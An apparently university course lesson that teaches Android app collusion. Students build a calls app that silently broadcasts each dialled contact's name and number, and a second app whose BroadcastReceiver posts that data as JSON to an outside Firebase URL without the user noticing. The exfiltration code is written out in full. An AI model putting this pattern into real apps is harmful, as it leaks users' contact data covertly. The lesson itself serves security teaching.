Exploiting Vulnerabilities in Android
Introduction
In this lesson we will learn about a possible security vulnerability in Android. To show the vulnerability, we will see how two apparently inoffensive apps could represent a risk to the user if they are installed together.
Micro Sprint | 13 |
---|---|
Activity Type | Lesson |
Expected Duration | 50 minutes |
Topic | Debugging UI |
Content
Recommended Links:
- Retrieve contact list: https://developer.android.com/training/contactsprovider/retrieve-names.html
- Broadcasts: https://developer.android.com/guide/components/broadcasts.html
In this lesson you will need to develop two simple apps. The first one will be a app to make phone calls; it will only show the list of contacts and allow you to make a call when you select one of the contacts. The second app will not have any functionality, but it will have the permission to access internet. The idea is to communicate both applications without the user noticing, and take the information from the first app to the second one.
a. Calls application
Got to Android studio and create an empty app. Then, go to the manifest and add the permissions to access the contacts and make calls:
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
Now, got to the activity_main.xml file to include a ListView where the contacts are going to be display.
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:paddingLeft="16pt"
android:paddingRight="16pt"
android:paddingTop="16pt"
android:paddingBottom="16pt">
<ListView
android:id="@+id/list"
android:layout_width="match_parent"
android:layout_height="wrap_content"
/>
</RelativeLayout>
After that, go to MainActivity.java and change it to load the contacts list:
import android.Manifest;
import android.app.LoaderManager;
import android.content.CursorLoader;
import android.content.Loader;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.provider.ContactsContract;
import android.support.v4.app.ActivityCompat;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.widget.ListView;
import android.widget.SimpleCursorAdapter;
import java.util.ArrayList;
public class MainActivity extends AppCompatActivity implements LoaderManager.LoaderCallbacks<Cursor>{
private final static String[] FROM_COLUMNS = {
ContactsContract.Contacts.DISPLAY_NAME_PRIMARY
};
private static final String[] PROJECTION = {
ContactsContract.Contacts._ID,
ContactsContract.Contacts.LOOKUP_KEY,
ContactsContract.Contacts.HAS_PHONE_NUMBER,
ContactsContract.Contacts.DISPLAY_NAME_PRIMARY
};
private final static int[] TO_IDS = {android.R.id.text1};
private static final int MY_PERMISSIONS_REQUEST_READ_CONTACTS = 1;
private static final int MY_PERMISSIONS_REQUEST_CALL = 2;
private ListView mContactsList;
private SimpleCursorAdapter mAdapter;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
mContactsList = findViewById(R.id.list);
if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_CONTACTS)!= PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this,
new String[]{Manifest.permission.READ_CONTACTS},
MY_PERMISSIONS_REQUEST_READ_CONTACTS);
} else {
mAdapter = new SimpleCursorAdapter( this,
android.R.layout.simple_list_item_2,
null,
FROM_COLUMNS,
TO_IDS,
0
);
mContactsList.setAdapter(mAdapter);
getLoaderManager().initLoader(0, null, this);
}
}
@Override
public void onRequestPermissionsResult(int requestCode, String permissions[], int[] grantResults) {
if(requestCode == MY_PERMISSIONS_REQUEST_READ_CONTACTS) {
if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
mAdapter = new SimpleCursorAdapter( this,
android.R.layout.simple_list_item_2,
null,
FROM_COLUMNS,
TO_IDS,0
);
mContactsList.setAdapter(mAdapter);
getLoaderManager().initLoader(0, null, this);
} else {
//El usuario no autorizó el acceso a los contactos
}
}
}
@Override
public Loader<Cursor> onCreateLoader(int id, Bundle args) {
return new CursorLoader(
this,
ContactsContract.Contacts.CONTENT_URI,
PROJECTION,
null,
null,
null);
}
@Override
public void onLoadFinished(Loader<Cursor> loader, Cursor cursor) {
mAdapter.swapCursor(cursor);
}
@Override
public void onLoaderReset(Loader<Cursor> loader) {
mAdapter.swapCursor(null);
}
}
In this moment your application should look like this:


Now we will implement the code that allow the user to make a call. First of all, we have to change the MainActivity class so that it extends OnItemClickListener. Then, in the onCreate method associate the listener to the list:
mContactsList.setOnItemClickListener(this);
Finally we need to implement the onItemClick method:
@Override
public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
Cursor cursor = ((SimpleCursorAdapter)parent.getAdapter()).getCursor();
cursor.moveToPosition(position);
if (Integer.parseInt(cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER))) > 0){
Cursor phones = getContentResolver().query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
null,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID +" = "+ id,
null,
null);
String phoneNumber = "";
String contactName = "";
while (phones.moveToNext()) {
phoneNumber = phones.getString(phones.getColumnIndex(
ContactsContract.CommonDataKinds.Phone.NUMBER));
contactName = phones.getString(phones.getColumnIndex(
ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));
}
if (ActivityCompat.checkSelfPermission(MainActivity.this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(
this,
new String[]{Manifest.permission.CALL_PHONE},
MY_PERMISSIONS_REQUEST_CALL);
}
else{
Intent callIntent = new Intent(Intent.ACTION_CALL);
callIntent.setData(Uri.parse("tel:"+phoneNumber));
startActivity(callIntent);
}
phones.close();
}else{
Log.d("Tag","No number");
}
}
After those changes the app should behave like this:


b. Application with access permission to internet
For the second application, create a new application in Android Studio. Add the following permission on the manifest file:
<uses-permission android:name="android.permission.INTERNET" />
Then add the following line to the app build.gradle:
implementation 'com.loopj.android:android-async-http:1.4.9'
c. Connection between two applications
To connect the two applications, the first thing we need to do is to implement a BroadcastReceiver in the internet application. To do that, you have to register a Receiver. In the onCreate Method of the main activity write:
BroadcastReceiver br = new MyReceiver();
IntentFilter filter = new IntentFilter(ConnectivityManager.CONNECTIVITY_ACTION);
filter.addAction("android.intent.action.CONTACT_CALLED");
this.registerReceiver(br, filter);
The action should be the receiver action.
Now, we will define the class MyReceiver.java. The receiver is going to get information from the calls app, and the information is going to be send through extras of an intent.
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import android.widget.Toast;
import com.loopj.android.http.AsyncHttpClient;
import com.loopj.android.http.AsyncHttpResponseHandler;
import com.loopj.android.http.JsonHttpResponseHandler;
import com.loopj.android.http.RequestParams;
import org.json.JSONArray;
import cz.msebera.android.httpclient.Header;
public class MyReceiver extends BroadcastReceiver{
private static AsyncHttpClient client = new AsyncHttpClient();
@Override
public void onReceive(Context context, Intent intent) {
if(intent.getAction() != null && intent.getExtras().getString("tel") !=
null && intent.getExtras().getString("name") != null){
final String tel = intent.getExtras().getString("tel");
final String name = intent.getExtras().getString("name");
JSONObject jsonParams = new JSONObject();
jsonParams.put("name", name);
jsonParams.put("tel",tel);
StringEntity entity = new StringEntity(jsonParams.toString());
post("hhttps://androidsecurity-69990.firebaseio.com/telefonos.json",entity, new JsonHttpResponseHandler() {
@Override
public void onSuccess(int statusCode, Header[] headers, JSONArray array) {
Log.d("tel",tel);
Log.d("name",name);
}
@Override
public void onFailure(int statusCode, Header[] headers, String res, Throwable error){
Log.d("tel","fallo");
Log.d("tel",res);
}
});
}
}
public static void post(String url, StringEntity params,AsyncHttpResponseHandler responseHandler) {
client.post(null,url,null,params,"application/json",responseHandler);
}
}
Once you implement the BroadcastReceiver is time to modify the calls app. The calls app needs to broadcasts the name and phone number in the moment that you make a call. So, go to the onItemClick method of the MainActivity and add the following lines under the intent call:
@Override
public void onItemClick(AdapterView<?> parent, View view, int position, long
id) {
...
Intent callIntent = new Intent(Intent.ACTION_CALL);
callIntent.setData(Uri.parse("tel:"+phoneNumber));
startActivity(callIntent);
//New lines
final Intent intent = new Intent();
intent.setAction("android.intent.action.CONTACT_CALLED");
intent.putExtra("tel",phoneNumber);
intent.putExtra("name",contactName);
sendBroadcast(intent);
...
}
Now, run both applications and make a call from the calls app.
What do you see on the log of the internet app?
VERSIONS
Versions | Authors | Date |
---|---|---|
1.0 | Maria Camila Angel | April 24, 2017 |
2.0 | Sergio Velasquez | May 1, 2018 |
2.1 | Sergio Velasquez | November 14, 2018 |
2.2 | Sergio Velasquez | May 2, 2019 |